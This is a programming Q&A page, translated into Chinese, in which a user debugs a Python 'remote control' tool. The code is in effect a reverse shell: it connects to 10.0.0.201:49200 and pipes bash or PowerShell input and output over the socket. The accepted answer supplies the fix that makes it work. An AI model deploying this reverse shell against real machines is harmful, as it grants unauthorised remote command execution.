【问题标题】:subprocess Popen.stdin.write causes AttributeError子进程 Popen.stdin.write 导致 AttributeError
【发布时间】:2017-06-06 04:23:27
【问题描述】:

我正在开发一个简短的、原生的(不推荐使用外部 [非原生] 模块,例如 pexpect)、跨平台、不安全的 python 远程控制应用程序(Windows 将使用 py2exe 和 exe 文件)。我正在使用 start_new_thread 进行阻塞调用,例如readline()。然而,出于某种原因,我得到了这个丑陋的字符串作为我的输出:

Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0>
Traceback (most recent call last):

Traceback (most recent call last):
  File "main.py", line 17, in read_stream
    s.send(pipe.stdout.readline())
AttributeError  File "main.py", line 14, in send_stream
    pipe.stdin.write(s.recv(4096))
AttributeError: 'NoneType' object has no attribute 'stdin'
: 'NoneType' object has no attribute 'stdout'

这是我的程序(main.py):

#!/usr/bin/env python
import socket
import subprocess as sp
from thread import start_new_thread
from platform import system

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.201', 49200))
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?     
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
entered_command=False
def send_stream(): # send what you get from command center
        while True:
                pipe.stdin.write(s.recv(4096))
def read_stream(): # send back what is returned from shell command
        while True:
                s.send(pipe.stdout.readline())
start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

感谢您的帮助。

【问题讨论】:

  • pipe 不能是 None。也许你可以删除套接字的东西来创建一个简单的minimal reproducible example
  • 是的,这表明pipe 是无。在创建的地方插入测试;如果在那里有效,则在线程函数中插入测试
  • 确定这个 exact 代码会引发错误吗?我读过subprocess.Popen 构造函数,当出现问题时它会引发异常,但不会返回None
  • 仅供参考,使用 threading.Thread 代替低级 thread 模块。在 Python 3 中,thread 被重命名为 _thread,以强调它并不是标准库中的公共线程 API。
  • @JoeP 好的,我插入了测试。在函数内部,pipe 没有,但在它们外部是正常的。这有帮助吗?

标签: python file subprocess


【解决方案1】:

事实证明,问题在于程序在两次start_new_thread 调用后试图退出,因为它已经到了结尾,并在尝试这样做时出错。所以我换了:

start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

与:

start_new_thread(send_stream, ())
read_stream()

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-06-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-06-30
    • 1970-01-01
    • 1970-01-01
    • 2018-12-22
    相关资源
    最近更新 更多